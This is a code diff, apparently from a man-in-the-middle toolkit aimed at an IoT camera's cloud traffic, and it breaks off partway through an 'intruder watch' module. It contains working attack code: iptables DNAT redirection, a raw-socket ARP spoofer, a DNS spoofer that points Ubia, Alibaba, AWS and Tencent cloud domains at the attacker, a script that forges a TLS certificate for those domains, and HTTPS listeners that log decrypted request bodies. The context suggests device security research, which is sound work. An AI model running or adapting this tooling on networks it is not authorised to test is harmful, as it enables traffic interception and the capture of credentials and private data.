|
from config import Config
|
||||||
|
from utils.log import (
|
||||||
|
log, log_lines, init_logfile, close_logfile, lock,
|
||||||
|
C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT,
|
||||||
|
)
|
||||||
|
from services import (
|
||||||
|
arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch,
|
||||||
|
)
|
||||||
|
from inject import packet
|
||||||
|
|
||||||
|
|
||||||
|
SERVICE_DEFS = [
|
||||||
|
# (name, runner_factory)
|
||||||
|
("arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)),
|
||||||
|
("dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)),
|
||||||
|
("http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)),
|
||||||
|
("https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)),
|
||||||
|
("sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)),
|
||||||
|
("intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)),
|
||||||
|
]
|
||||||
|
SERVICE_NAMES = [s[0] for s in SERVICE_DEFS]
|
||||||
|
SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS}
|
||||||
|
|
||||||
|
|
||||||
|
class Controller:
|
||||||
|
"""
|
||||||
|
Service supervisor. Owns the iptables redirect rules, per-service
|
||||||
|
on/off state, and the loaded target plugin (if any).
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.cfg = Config()
|
||||||
|
self.flags = {}
|
||||||
|
self.running = True
|
||||||
|
self.services_running = False
|
||||||
|
self._svc_running = {n: False for n in SERVICE_NAMES}
|
||||||
|
self._iptables_up = False
|
||||||
|
self.plugin = None
|
||||||
|
self._load_plugin()
|
||||||
|
|
||||||
|
# ─── plugin loader ────────────────────────────────────
|
||||||
|
def _load_plugin(self):
|
||||||
|
name = self.cfg.get("target_plugin", "")
|
||||||
|
if not name:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
mod = __import__(f"targets.{name}.plugin", fromlist=["Plugin"])
|
||||||
|
self.plugin = mod.Plugin(self.cfg)
|
||||||
|
log(f"plugin loaded: {name}", C_SUCCESS)
|
||||||
|
except Exception as e:
|
||||||
|
log(f"plugin load failed ({name}): {e}", C_ERROR)
|
||||||
|
|
||||||
|
# ─── iptables ─────────────────────────────────────────
|
||||||
|
def _ensure_iptables(self):
|
||||||
|
if self._iptables_up:
|
||||||
|
return
|
||||||
|
if not self.cfg["target_ip"] or not self.cfg["our_ip"]:
|
||||||
|
log("iptables: target_ip and our_ip must be set", C_ERROR)
|
||||||
|
return
|
||||||
|
os.system("pkill -f arpspoof 2>/dev/null")
|
||||||
|
os.makedirs(self.cfg["log_dir"], exist_ok=True)
|
||||||
|
self._setup_iptables()
|
||||||
|
self._iptables_up = True
|
||||||
|
|
||||||
|
def _setup_iptables(self):
|
||||||
|
tgt = self.cfg["target_ip"]
|
||||||
|
us = self.cfg["our_ip"]
|
||||||
|
cmds = [
|
||||||
|
"sysctl -w net.ipv4.ip_forward=1",
|
||||||
|
"iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP",
|
||||||
|
f"iptables -t nat -A PREROUTING -s {tgt} -p udp --dport 53 -j DNAT --to-destination {us}:53",
|
||||||
|
f"iptables -t nat -A PREROUTING -s {tgt} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
|
||||||
|
f"iptables -t nat -A PREROUTING -s {tgt} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
|
||||||
|
]
|
||||||
|
for c in cmds:
|
||||||
|
os.system(c + " >/dev/null 2>&1")
|
||||||
|
log("iptables rules applied", C_INFO)
|
||||||
|
|
||||||
|
def _cleanup_iptables(self):
|
||||||
|
tgt = self.cfg["target_ip"]
|
||||||
|
us = self.cfg["our_ip"]
|
||||||
|
cmds = [
|
||||||
|
"iptables -D OUTPUT -p icmp --icmp-type redirect -j DROP",
|
||||||
|
f"iptables -t nat -D PREROUTING -s {tgt} -p udp --dport 53 -j DNAT --to-destination {us}:53",
|
||||||
|
f"iptables -t nat -D PREROUTING -s {tgt} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
|
||||||
|
f"iptables -t nat -D PREROUTING -s {tgt} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
|
||||||
|
]
|
||||||
|
for c in cmds:
|
||||||
|
os.system(c + " >/dev/null 2>&1")
|
||||||
|
|
||||||
|
# ─── per-service control ──────────────────────────────
|
||||||
|
def start_service(self, name):
|
||||||
|
if name not in SERVICE_BY_NAME:
|
||||||
|
log(f"unknown service: {name}", C_ERROR)
|
||||||
|
return
|
||||||
|
if self._svc_running.get(name):
|
||||||
|
log(f"{name} already running", C_ERROR)
|
||||||
|
return
|
||||||
|
self._ensure_iptables()
|
||||||
|
if name == "http": os.system("fuser -k 80/tcp 2>/dev/null")
|
||||||
|
elif name == "https": os.system("fuser -k 443/tcp 2>/dev/null")
|
||||||
|
elif name == "dns": os.system("fuser -k 53/udp 2>/dev/null")
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
self._svc_running[name] = True
|
||||||
|
check = lambda n=name: self.running and self._svc_running.get(n, False)
|
||||||
|
runner = SERVICE_BY_NAME[name][1]
|
||||||
|
threading.Thread(
|
||||||
|
target=lambda: runner(self.cfg, self.flags, check),
|
||||||
|
daemon=True, name=f"svc-{name}",
|
||||||
|
).start()
|
||||||
|
self.services_running = any(self._svc_running.values())
|
||||||
|
log(f"started: {name}", C_SUCCESS)
|
||||||
|
|
||||||
|
def stop_service(self, name):
|
||||||
|
if not self._svc_running.get(name):
|
||||||
|
log(f"{name} not running", C_ERROR)
|
||||||
|
return
|
||||||
|
self._svc_running[name] = False
|
||||||
|
log(f"stopping: {name}…", C_INFO)
|
||||||
|
if name == "http": os.system("fuser -k 80/tcp 2>/dev/null")
|
||||||
|
elif name == "https": os.system("fuser -k 443/tcp 2>/dev/null")
|
||||||
|
elif name == "dns": os.system("fuser -k 53/udp 2>/dev/null")
|
||||||
|
time.sleep(0.5)
|
||||||
|
self.flags[name] = False
|
||||||
|
self.services_running = any(self._svc_running.values())
|
||||||
|
|
||||||
|
def toggle_service(self, name):
|
||||||
|
if self._svc_running.get(name):
|
||||||
|
self.stop_service(name)
|
||||||
|
else:
|
||||||
|
self.start_service(name)
|
||||||
|
|
||||||
|
def start_services(self):
|
||||||
|
if self.services_running:
|
||||||
|
log("services already running", C_ERROR)
|
||||||
|
return
|
||||||
|
self._ensure_iptables()
|
||||||
|
# Honour auto_* config flags
|
||||||
|
for name in SERVICE_NAMES:
|
||||||
|
key = f"auto_{name}"
|
||||||
|
if self.cfg.get(key, True):
|
||||||
|
self.start_service(name)
|
||||||
|
time.sleep(0.3)
|
||||||
|
# Optional UDP listeners
|
||||||
|
for port in self.cfg.get("auto_udp_ports", []) or []:
|
||||||
|
threading.Thread(
|
||||||
|
target=lambda p=port: udp_listener.run(p, self.cfg, self.flags,
|
||||||
|
lambda: self.running and self.services_running),
|
||||||
|
daemon=True, name=f"svc-udp{port}",
|
||||||
|
).start()
|
||||||
|
time.sleep(0.2)
|
||||||
|
log("all services started", C_SUCCESS)
|
||||||
|
|
||||||
|
def stop_services(self):
|
||||||
|
if not self.services_running:
|
||||||
|
log("services not running", C_ERROR)
|
||||||
|
return
|
||||||
|
log("stopping all services…", C_INFO)
|
||||||
|
for name in SERVICE_NAMES:
|
||||||
|
if self._svc_running.get(name):
|
||||||
|
self.stop_service(name)
|
||||||
|
time.sleep(1)
|
||||||
|
self._cleanup_iptables()
|
||||||
|
self._iptables_up = False
|
||||||
|
self.flags.clear()
|
||||||
|
self.services_running = False
|
||||||
|
log("services stopped", C_INFO)
|
||||||
|
|
||||||
|
def inject_packet(self, params):
|
||||||
|
return packet.inject(self.cfg, params)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
print("Run with: sudo /usr/bin/python3 mitm.py")
|
||||||
|
sys.exit(1)
|
||||||
|
ctrl = Controller()
|
||||||
|
init_logfile(f"{ctrl.cfg['log_dir']}/setec_mitm.log")
|
||||||
|
|
||||||
|
# Headless mode — start everything and wait. The full curses TUI from
|
||||||
|
# cam-mitm is not bundled here; use gui.py instead.
|
||||||
|
log("setec-mitm headless mode. Use gui.py for the full UI.", C_INFO)
|
||||||
|
ctrl.start_services()
|
||||||
|
|
||||||
|
def shutdown(*_):
|
||||||
|
log("shutting down…", C_INFO)
|
||||||
|
ctrl.stop_services()
|
||||||
|
ctrl.running = False
|
||||||
|
close_logfile()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, shutdown)
|
||||||
|
signal.signal(signal.SIGTERM, shutdown)
|
||||||
|
while ctrl.running:
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
65
regen_cert.sh
Executable file
65
regen_cert.sh
Executable file
@@ -0,0 +1,65 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if [[ $EUID -ne 0 ]]; then
|
||||||
|
echo "must run as root (use sudo)" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ROOT_DIR=/root/dumps/mitm_logs
|
||||||
|
SNAKE_DIR=/home/snake/dumps/mitm_logs
|
||||||
|
mkdir -p "$ROOT_DIR" "$SNAKE_DIR"
|
||||||
|
|
||||||
|
CERT="$ROOT_DIR/mitm_cert.pem"
|
||||||
|
KEY="$ROOT_DIR/mitm_key.pem"
|
||||||
|
|
||||||
|
CFG=$(mktemp)
|
||||||
|
trap 'rm -f "$CFG"' EXIT
|
||||||
|
|
||||||
|
cat > "$CFG" <<'EOF'
|
||||||
|
[req]
|
||||||
|
distinguished_name = dn
|
||||||
|
req_extensions = v3_req
|
||||||
|
x509_extensions = v3_req
|
||||||
|
prompt = no
|
||||||
|
|
||||||
|
[dn]
|
||||||
|
CN = portal.ubianet.com
|
||||||
|
O = Ubia
|
||||||
|
C = US
|
||||||
|
|
||||||
|
[v3_req]
|
||||||
|
basicConstraints = CA:FALSE
|
||||||
|
keyUsage = digitalSignature, keyEncipherment
|
||||||
|
extendedKeyUsage = serverAuth
|
||||||
|
subjectAltName = @alt
|
||||||
|
|
||||||
|
[alt]
|
||||||
|
DNS.1 = portal.ubianet.com
|
||||||
|
DNS.2 = api.us.ubianet.com
|
||||||
|
DNS.3 = api.cn.ubianet.com
|
||||||
|
DNS.4 = *.ubianet.com
|
||||||
|
DNS.5 = *.aliyuncs.com
|
||||||
|
DNS.6 = *.oss-cn-shenzhen.aliyuncs.com
|
||||||
|
DNS.7 = *.myqcloud.com
|
||||||
|
IP.1 = 192.168.1.172
|
||||||
|
EOF
|
||||||
|
|
||||||
|
openssl req -x509 -newkey rsa:2048 -nodes -days 3650 \
|
||||||
|
-keyout "$KEY" -out "$CERT" -config "$CFG" -extensions v3_req
|
||||||
|
|
||||||
|
chmod 644 "$CERT"
|
||||||
|
chmod 600 "$KEY"
|
||||||
|
|
||||||
|
cp "$CERT" "$SNAKE_DIR/mitm_cert.pem"
|
||||||
|
cp "$KEY" "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
chown snake:snake "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
chmod 644 "$SNAKE_DIR/mitm_cert.pem"
|
||||||
|
chmod 600 "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "=== wrote ==="
|
||||||
|
ls -l "$CERT" "$KEY" "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
echo
|
||||||
|
echo "=== subject + SANs ==="
|
||||||
|
openssl x509 -in "$CERT" -noout -text | grep -E "Subject:|DNS:|IP Address:"
|
||||||
0
services/__init__.py
Normal file
0
services/__init__.py
Normal file
89
services/arp_spoof.py
Normal file
89
services/arp_spoof.py
Normal file
@@ -0,0 +1,89 @@
|
|||||||
|
"""ARP spoofing service — positions us as MITM between target and router"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
|
||||||
|
|
||||||
|
|
||||||
|
def get_mac(ip):
|
||||||
|
try:
|
||||||
|
out = os.popen(f"ip neigh show {ip}").read()
|
||||||
|
for line in out.strip().split("\n"):
|
||||||
|
parts = line.split()
|
||||||
|
if "lladdr" in parts:
|
||||||
|
return parts[parts.index("lladdr") + 1]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
|
||||||
|
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
|
||||||
|
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
|
||||||
|
eth = dst_mac + src_mac + b"\x08\x06"
|
||||||
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
|
||||||
|
arp += src_mac + socket.inet_aton(src_ip)
|
||||||
|
arp += dst_mac + socket.inet_aton(dst_ip)
|
||||||
|
return eth + arp
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
iface = cfg["iface"]
|
||||||
|
target_ip = cfg["target_ip"]
|
||||||
|
router_ip = cfg["router_ip"]
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(f"/sys/class/net/{iface}/address") as f:
|
||||||
|
our_mac = f.read().strip()
|
||||||
|
except:
|
||||||
|
log("ARP: cannot read our MAC", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
|
||||||
|
os.system(f"ping -c 1 -W 1 {target_ip} >/dev/null 2>&1")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
router_mac = get_mac(router_ip)
|
||||||
|
target_mac = get_mac(target_ip) or cfg["target_mac"]
|
||||||
|
|
||||||
|
if not router_mac:
|
||||||
|
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
log(f"ARP: us={our_mac} router={router_mac} target={target_mac}", C_SUCCESS)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((iface, 0))
|
||||||
|
except PermissionError:
|
||||||
|
log("ARP: need root for raw sockets", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["arp"] = True
|
||||||
|
pkt_to_cam = build_arp_reply(our_mac, target_mac, router_ip, target_ip)
|
||||||
|
pkt_to_rtr = build_arp_reply(our_mac, router_mac, target_ip, router_ip)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
sock.send(pkt_to_cam)
|
||||||
|
sock.send(pkt_to_rtr)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
# Restore
|
||||||
|
log("ARP: restoring...", C_INFO)
|
||||||
|
r1 = build_arp_reply(router_mac, target_mac, router_ip, target_ip)
|
||||||
|
r2 = build_arp_reply(target_mac, router_mac, target_ip, router_ip)
|
||||||
|
for _ in range(5):
|
||||||
|
try:
|
||||||
|
sock.send(r1)
|
||||||
|
sock.send(r2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(0.3)
|
||||||
|
sock.close()
|
||||||
|
flags["arp"] = False
|
||||||
|
log("ARP: restored", C_INFO)
|
||||||
85
services/dns_spoof.py
Normal file
85
services/dns_spoof.py
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
"""DNS interception — spoofs cloud domains to point at us"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
from utils.log import log, C_SUCCESS, C_IMPORTANT, C_ERROR
|
||||||
|
|
||||||
|
SPOOF_DOMAINS = [b"ubianet.com", b"aliyuncs.com", b"amazonaws.com", b"myqcloud.com"]
|
||||||
|
|
||||||
|
|
||||||
|
def parse_dns_name(data, offset):
|
||||||
|
labels = []
|
||||||
|
while offset < len(data):
|
||||||
|
length = data[offset]
|
||||||
|
if length == 0:
|
||||||
|
offset += 1
|
||||||
|
break
|
||||||
|
if (length & 0xC0) == 0xC0:
|
||||||
|
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
|
||||||
|
labels.append(parse_dns_name(data, ptr)[0])
|
||||||
|
offset += 2
|
||||||
|
break
|
||||||
|
offset += 1
|
||||||
|
labels.append(data[offset:offset + length])
|
||||||
|
offset += length
|
||||||
|
return b".".join(labels), offset
|
||||||
|
|
||||||
|
|
||||||
|
def build_dns_response(query, ip):
|
||||||
|
resp = bytearray(query[:2])
|
||||||
|
resp += b"\x81\x80"
|
||||||
|
resp += query[4:6]
|
||||||
|
resp += b"\x00\x01\x00\x00\x00\x00"
|
||||||
|
resp += query[12:]
|
||||||
|
resp += b"\xc0\x0c\x00\x01\x00\x01"
|
||||||
|
resp += struct.pack("!I", 60)
|
||||||
|
resp += b"\x00\x04"
|
||||||
|
resp += socket.inet_aton(ip)
|
||||||
|
return bytes(resp)
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.settimeout(1)
|
||||||
|
try:
|
||||||
|
sock.bind(("0.0.0.0", 53))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"DNS: bind :53 failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["dns"] = True
|
||||||
|
log("DNS: listening on :53", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
data, addr = sock.recvfrom(1024)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
if len(data) < 12:
|
||||||
|
continue
|
||||||
|
|
||||||
|
name, _ = parse_dns_name(data, 12)
|
||||||
|
name_str = name.decode("utf-8", errors="replace")
|
||||||
|
should_spoof = (addr[0] == cfg["target_ip"] and
|
||||||
|
any(d in name.lower() for d in SPOOF_DOMAINS))
|
||||||
|
|
||||||
|
if should_spoof:
|
||||||
|
resp = build_dns_response(data, cfg["our_ip"])
|
||||||
|
sock.sendto(resp, addr)
|
||||||
|
log(f"DNS: {name_str} -> SPOOFED", C_IMPORTANT)
|
||||||
|
else:
|
||||||
|
fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
fwd.settimeout(3)
|
||||||
|
try:
|
||||||
|
fwd.sendto(data, (cfg["router_ip"], 53))
|
||||||
|
resp, _ = fwd.recvfrom(4096)
|
||||||
|
sock.sendto(resp, addr)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
fwd.close()
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags["dns"] = False
|
||||||
179
services/http_server.py
Normal file
179
services/http_server.py
Normal file
@@ -0,0 +1,179 @@
|
|||||||
|
"""HTTP and HTTPS MITM servers — intercept target cloud traffic"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import ssl
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import threading
|
||||||
|
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
|
||||||
|
from utils import proto as proto_id
|
||||||
|
|
||||||
|
|
||||||
|
def _handle_http(conn, addr, cfg):
|
||||||
|
try:
|
||||||
|
conn.settimeout(5)
|
||||||
|
data = conn.recv(8192)
|
||||||
|
if data:
|
||||||
|
text = data.decode("utf-8", errors="replace")
|
||||||
|
lines = text.split("\r\n")
|
||||||
|
log(f"HTTP {addr[0]}: {lines[0]}", C_TRAFFIC)
|
||||||
|
for l in lines[1:6]:
|
||||||
|
if l:
|
||||||
|
log(f" {l}", 0)
|
||||||
|
save_raw(cfg["log_dir"], f"http_{addr[0]}", data)
|
||||||
|
conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
|
||||||
|
def _handle_https(conn, addr, cfg):
|
||||||
|
try:
|
||||||
|
conn.settimeout(5)
|
||||||
|
data = b""
|
||||||
|
while True:
|
||||||
|
chunk = conn.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
data += chunk
|
||||||
|
if b"\r\n\r\n" in data:
|
||||||
|
# Check Content-Length for body
|
||||||
|
cl = 0
|
||||||
|
for line in data.split(b"\r\n"):
|
||||||
|
if line.lower().startswith(b"content-length:"):
|
||||||
|
cl = int(line.split(b":")[1].strip())
|
||||||
|
break
|
||||||
|
hdr_end = data.index(b"\r\n\r\n") + 4
|
||||||
|
if len(data) >= hdr_end + cl:
|
||||||
|
break
|
||||||
|
|
||||||
|
if data:
|
||||||
|
try:
|
||||||
|
hdr_end = data.index(b"\r\n\r\n")
|
||||||
|
headers = data[:hdr_end].decode("utf-8", errors="replace")
|
||||||
|
body = data[hdr_end + 4:]
|
||||||
|
lines = headers.split("\r\n")
|
||||||
|
log(f"HTTPS {addr[0]}: {lines[0]}", C_TRAFFIC)
|
||||||
|
for l in lines[1:8]:
|
||||||
|
if l:
|
||||||
|
log(f" {l}", 0)
|
||||||
|
if body:
|
||||||
|
try:
|
||||||
|
parsed = json.loads(body)
|
||||||
|
log(f" BODY: {json.dumps(parsed)}", C_IMPORTANT)
|
||||||
|
except:
|
||||||
|
log(f" BODY ({len(body)}B):", 0)
|
||||||
|
log(hexdump(body), 0)
|
||||||
|
except:
|
||||||
|
log(f"HTTPS raw {addr[0]}: {len(data)}B", C_TRAFFIC)
|
||||||
|
log(hexdump(data), 0)
|
||||||
|
|
||||||
|
save_raw(cfg["log_dir"], f"https_{addr[0]}", data)
|
||||||
|
conn.sendall(b'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n'
|
||||||
|
b'Content-Length: 27\r\n\r\n{"code":0,"msg":"success"}')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
|
||||||
|
def _generate_cert(log_dir):
|
||||||
|
cert = f"{log_dir}/mitm_cert.pem"
|
||||||
|
key = f"{log_dir}/mitm_key.pem"
|
||||||
|
if not os.path.exists(cert):
|
||||||
|
os.makedirs(log_dir, exist_ok=True)
|
||||||
|
os.system(f'openssl req -x509 -newkey rsa:2048 -keyout {key} '
|
||||||
|
f'-out {cert} -days 365 -nodes '
|
||||||
|
f'-subj "/CN=portal.ubianet.com" 2>/dev/null')
|
||||||
|
return cert, key
|
||||||
|
|
||||||
|
|
||||||
|
def run_http(cfg, flags, running_check):
|
||||||
|
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
srv.settimeout(1)
|
||||||
|
try:
|
||||||
|
srv.bind(("0.0.0.0", 80))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"HTTP: bind :80 failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
srv.listen(5)
|
||||||
|
flags["http"] = True
|
||||||
|
log("HTTP: listening on :80", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
conn, addr = srv.accept()
|
||||||
|
threading.Thread(target=_handle_http, args=(conn, addr, cfg), daemon=True).start()
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
srv.close()
|
||||||
|
flags["http"] = False
|
||||||
|
|
||||||
|
|
||||||
|
def run_https(cfg, flags, running_check):
|
||||||
|
cert, key = _generate_cert(cfg["log_dir"])
|
||||||
|
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
ctx.load_cert_chain(cert, key)
|
||||||
|
|
||||||
|
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
srv.settimeout(1)
|
||||||
|
try:
|
||||||
|
srv.bind(("0.0.0.0", 443))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"HTTPS: bind :443 failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
srv.listen(5)
|
||||||
|
flags["https"] = True
|
||||||
|
log("HTTPS: listening on :443", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
conn, addr = srv.accept()
|
||||||
|
# Peek at first bytes to detect TLS vs raw protocol
|
||||||
|
try:
|
||||||
|
conn.settimeout(3)
|
||||||
|
peek = conn.recv(8, socket.MSG_PEEK)
|
||||||
|
except Exception as e:
|
||||||
|
log(f"443 peek fail {addr[0]}: {e}", C_ERROR)
|
||||||
|
conn.close()
|
||||||
|
continue
|
||||||
|
conn.settimeout(None)
|
||||||
|
|
||||||
|
# TLS ClientHello starts with 0x16 0x03 0x0[0-4]
|
||||||
|
is_tls = len(peek) >= 3 and peek[0] == 0x16 and peek[1] == 0x03
|
||||||
|
|
||||||
|
if is_tls:
|
||||||
|
try:
|
||||||
|
ssl_conn = ctx.wrap_socket(conn, server_side=True)
|
||||||
|
threading.Thread(target=_handle_https, args=(ssl_conn, addr, cfg),
|
||||||
|
daemon=True).start()
|
||||||
|
except ssl.SSLError as e:
|
||||||
|
log(f"SSL fail {addr[0]}: {e} (first8={peek.hex()})", C_ERROR)
|
||||||
|
save_raw(cfg["log_dir"], f"raw_tls_fail_{addr[0]}", peek)
|
||||||
|
conn.close()
|
||||||
|
else:
|
||||||
|
# Non-TLS protocol on :443 — capture raw
|
||||||
|
pname = proto_id.detect(peek)
|
||||||
|
proto_id.record(pname)
|
||||||
|
log(f"NON-TLS on :443 from {addr[0]} proto={pname} first8={peek.hex()}", C_IMPORTANT)
|
||||||
|
try:
|
||||||
|
conn.settimeout(2)
|
||||||
|
full = conn.recv(4096)
|
||||||
|
if full:
|
||||||
|
log(f" Raw ({len(full)}B):", 0)
|
||||||
|
log(hexdump(full[:256]), 0)
|
||||||
|
save_raw(cfg["log_dir"], f"raw_443_{addr[0]}", full)
|
||||||
|
except Exception as e:
|
||||||
|
log(f" recv fail: {e}", C_ERROR)
|
||||||
|
conn.close()
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
srv.close()
|
||||||
|
flags["https"] = False
|
||||||
187
services/intruder_watch.py
Normal file
187
services/intruder_watch.py
Normal file
@@ -0,0 +1,187 @@
|
|||||||
|
"""
|
||||||
|
Intruder watch — detects unauthorized parties interacting with the target.
|
||||||
|
|
||||||
|
Watches the raw socket for:
|
||||||
|
1. Any LAN host that isn't us, the router, or the target, exchanging traffic
|
||||||
|
with the target.
|
||||||
|
2. ARP replies for the target's IP coming from a MAC that isn't the target —
|
||||||
|
i.e. someone else is ARP-spoofing.
|
||||||
|
3. Outbound packets from the target to destinations not on the known cloud
|
||||||
|
whitelist (suggests new C2 / unknown firmware behavior).
|
||||||
|
4. New TCP/UDP destination ports the target initiates that we haven't seen.
|
||||||
|
|
||||||
|
Findings are pushed to utils.log AND to a shared `intruders` deque the GUI
|
||||||
|
reads from for the Intruders tab.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from collections import deque
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from utils.log import log, C_ERROR, C_SUCCESS, C_IMPORTANT, C_TRAFFIC
|
||||||
|
|
||||||
|
# Shared state the GUI inspects
|
||||||
|
intruders = deque(maxlen=500)
|
||||||
|
_intruder_lock = threading.Lock()
|
||||||
|
|
||||||
|
# Known cloud destinations the target is *expected* to talk to (from findings.md).
|
||||||
|
# Anything outside this set is suspicious.
|
||||||
|
KNOWN_CLOUD_NETS = [
|
||||||
|
# Tencent Cloud (P2P relay, COS)
|
||||||
|
("43.0.0.0", 8),
|
||||||
|
("119.28.0.0", 14),
|
||||||
|
("129.226.0.0", 15),
|
||||||
|
("150.109.0.0", 16),
|
||||||
|
# Alibaba Cloud (OSS, OTA)
|
||||||
|
("8.208.0.0", 12),
|
||||||
|
("47.74.0.0", 15),
|
||||||
|
("47.88.0.0", 13),
|
||||||
|
("118.178.0.0", 15),
|
||||||
|
# AWS (NTP buckets)
|
||||||
|
("3.64.0.0", 12),
|
||||||
|
("54.93.0.0", 16),
|
||||||
|
# Akamai (connectivity check, microsoft etc.)
|
||||||
|
("23.0.0.0", 8),
|
||||||
|
("104.64.0.0", 10),
|
||||||
|
# Microsoft / Apple / Amazon connectivity checks
|
||||||
|
("17.0.0.0", 8), # Apple
|
||||||
|
("13.64.0.0", 11), # Microsoft
|
||||||
|
("52.0.0.0", 8), # Amazon
|
||||||
|
# qq.com (Tencent connectivity probe)
|
||||||
|
("182.254.0.0", 16),
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def _ip_to_int(ip):
|
||||||
|
return struct.unpack("!I", socket.inet_aton(ip))[0]
|
||||||
|
|
||||||
|
|
||||||
|
def _in_net(ip, base, prefix):
|
||||||
|
ip_i = _ip_to_int(ip)
|
||||||
|
base_i = _ip_to_int(base)
|
